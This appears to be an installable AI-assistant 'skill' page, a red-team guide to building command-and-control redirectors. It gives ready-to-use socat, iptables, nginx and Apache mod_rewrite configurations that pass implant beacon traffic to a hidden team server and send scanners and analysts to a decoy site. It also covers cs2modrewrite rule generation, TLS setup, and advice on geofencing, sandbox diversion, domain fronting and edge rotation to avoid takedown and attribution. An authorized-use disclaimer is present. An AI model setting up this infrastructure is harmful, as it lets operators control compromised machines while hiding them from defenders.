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building-c2-redirector-infrastructure
Architect redirectors with nginx and Apache, malleable profiles, and OPSEC for resilient C2.
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Architect redirectors with nginx and Apache, malleable profiles, and OPSEC for resilient C2.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
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| name | building-c2-redirector-infrastructure |
| description | Architect redirectors with nginx and Apache, malleable profiles, and OPSEC for resilient C2. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","c2-infrastructure","redirector","nginx","apache-mod-rewrite","malleable-c2","opsec","traffic-filtering"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["DE.CM-01"] |
| mitre_attack | ["T1090.002"] |
Authorized Use Only: This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.
A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversaries route C2 through an intermediary node to obscure the true origin.
Redirectors come in two flavors. Dumb pipes (socat, iptables NAT) blindly forward a port and provide separation but no filtering. Smart/filtering redirectors (nginx proxy_pass, Apache mod_rewrite with [P], or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a 302 to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as cs2modrewrite automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.
This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.
# Debian/Ubuntu redirector
sudo apt update
sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
# Enable Apache proxy modules if using mod_rewrite redirector
sudo a2enmod rewrite proxy proxy_http ssl headers
.profile, Sliver/Havoc HTTP profile) defining URIs, User-Agent, and headers.cs2modrewrite to auto-generate rules from a Cobalt Strike profile:
git clone https://github.com/threatexpress/cs2modrewrite
mod_rewrite redirector with [P] proxying and 302 decoy fallback.cs2modrewrite.| Technique ID | Official Name | Relevance |
|---|---|---|
| T1090.002 | Proxy: External Proxy | The redirector is an external intermediary that proxies C2 to hide the team server |
| T1090.004 | Proxy: Domain Fronting | CDN fronting routes beacon traffic through a trusted high-reputation domain |
| T1071.001 | Application Layer Protocol: Web Protocols | C2 is tunneled over HTTP/HTTPS shaped by the malleable profile |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | TLS termination at the redirector encrypts the beacon channel |
| T1583.006 | Acquire Infrastructure: Web Services | Disposable VPS/CDN edges are acquired for resilient C2 |
Place the team server on a private host. Restrict its C2 port to the redirector's IP only.
# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
For quick separation with no filtering, forward the C2 port to the team server.
# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
Only proxy requests whose URI matches the malleable profile; send everything else a 302 to a decoy. Replace the location regex and User-Agent with values from your profile.
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Proxy ONLY profile-matching C2 URIs to the hidden team server
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Require the implant's exact User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Everything else -> benign decoy
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
Apache's [P] flag proxies matching requests to the team server; non-matches get a 302 redirect. This is the format cs2modrewrite produces.
# /etc/apache2/sites-available/redirector.conf (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
Let cs2modrewrite build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.
cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.
sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.
# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/ # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # expect proxied response
| Tool | Purpose | Source |
|---|---|---|
| nginx | Filtering reverse-proxy redirector | https://nginx.org/ |
| Apache mod_rewrite | [P] proxy + 302 decoy redirector | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | Generate Apache/nginx rules from CS profile | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Malleable-aware filtering C2 reverse proxy | https://github.com/mgeeky/RedWarden |
| redi | Automated nginx + Let's Encrypt CS redirector | https://github.com/taherio/redi |
| socat | Dumb-pipe TCP forwarder | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | Free TLS certificates | https://certbot.eff.org/ |
| ired.team | Red-team infrastructure reference | https://www.ired.team/offensive-security/red-team-infrastructure |
302 to a benign decoy site (verified with curl).